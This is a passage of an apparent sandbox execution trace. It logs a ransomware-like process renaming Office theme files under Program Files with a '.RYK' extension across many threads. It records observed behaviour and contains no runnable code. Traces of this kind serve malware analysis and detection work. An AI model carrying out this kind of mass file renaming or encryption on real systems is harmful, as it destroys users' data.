	[0163.680] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 482
	os_tid = 0xa34

	[0163.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF", dwFileAttributes=0x80) returned 0
	[0163.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.682] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 483
	os_tid = 0xac4

	[0163.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0163.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.884] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 484
	os_tid = 0x904

	[0163.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0163.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.686] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 485
	os_tid = 0xc54

	[0163.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM", dwFileAttributes=0x80) returned 0
	[0163.886] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.886] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 486
	os_tid = 0x9c4

	[0163.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF", dwFileAttributes=0x80) returned 0
	[0164.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 487
	os_tid = 0xa14

	[0163.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0163.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.891] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.891] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 488
	os_tid = 0x884

	[0163.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0163.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.944] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 489
	os_tid = 0x984

	[0163.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM", dwFileAttributes=0x80) returned 0
	[0163.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.947] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 490
	os_tid = 0x8c4

	[0163.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF", dwFileAttributes=0x80) returned 0
	[0164.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.107] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 491
	os_tid = 0x874

	[0163.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0163.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 492
	os_tid = 0x924

	[0163.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0164.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.109] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 493
	os_tid = 0x894

	[0164.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", dwFileAttributes=0x80) returned 0
	[0164.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.289] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 494
	os_tid = 0x908

	[0164.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF", dwFileAttributes=0x80) returned 0
	[0164.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.294] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 495
	os_tid = 0xc18

	[0164.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0164.121] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.121] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 496
	os_tid = 0x32c

	[0164.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0164.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.123] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 497
	os_tid = 0x8f4

	[0164.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM", dwFileAttributes=0x80) returned 0
	[0164.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 498
	os_tid = 0x9d4

	[0164.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", dwFileAttributes=0x80) returned 0
	[0164.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.296] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.296] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 499
	os_tid = 0x934

	[0164.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0164.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 500
	os_tid = 0xcc8

	[0164.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0164.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.131] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 501
	os_tid = 0x9e8

	[0164.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM", dwFileAttributes=0x80) returned 0
	[0164.464] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.464] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.464] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 502
	os_tid = 0x808

	[0164.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF", dwFileAttributes=0x80) returned 0
	[0164.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.466] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\IRIS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\iris.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 503
	os_tid = 0xd40

	[0164.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0164.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.468] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 504
	os_tid = 0xb34

	[0164.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0164.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 505
	os_tid = 0x684

	[0164.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM", dwFileAttributes=0x80) returned 0
	[0164.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0164.470] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0164.470] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\journal.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 506
	os_tid = 0xa48

	[0164.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\JOURNAL.INF", dwFileAttributes=0x80) returned 0
